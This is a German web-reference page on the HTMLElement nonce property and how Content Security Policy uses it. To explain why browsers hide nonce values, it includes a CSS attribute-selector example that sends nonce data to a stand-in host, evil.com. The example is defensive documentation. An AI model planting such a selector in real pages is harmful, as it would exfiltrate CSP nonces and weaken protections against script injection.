HTMLElement: nonce-Eigenschaft
Baseline Widely available
This feature is well established and works across many devices and browser versions. It’s been available across browsers since August 2016.
Die nonce
-Eigenschaft des HTMLElement
-Interfaces gibt die kryptografische Nummer zurück, die einmal verwendet wird, um vom Content Security Policy zu bestimmen, ob ein bestimmter Abruf ausgeführt werden darf.
In späteren Implementierungen geben Elemente ihr nonce
-Attribut nur an Skripte weiter (und nicht an Nebenkanäle wie CSS-Attributselektoren).
Beispiele
Abrufen eines nonce-Wertes
In der Vergangenheit unterstützten nicht alle Browser das nonce
IDL-Attribut, daher war ein Workaround, getAttribute
als Fallback zu verwenden:
let nonce = script["nonce"] || script.getAttribute("nonce");
Allerdings verbergen neuere Browserversionen nonce
-Werte, die auf diese Weise abgerufen werden (ein leerer String wird zurückgegeben). Die IDL-Eigenschaft (script['nonce']
) wird der einzige Weg sein, um Nicht-Kopplungen zuzugreifen.
Das Verbergen von Nonce hilft, Angreifer daran zu hindern, Nonce-Daten über Mechanismen zu exfiltrieren, die Daten aus Inhaltsattributen abrufen können, wie diesem CSS-Selektor:
script[nonce~="whatever"] {
background: url("https://evil.com/nonce?whatever");
}
Spezifikationen
Specification |
---|
HTML # dom-noncedelement-nonce |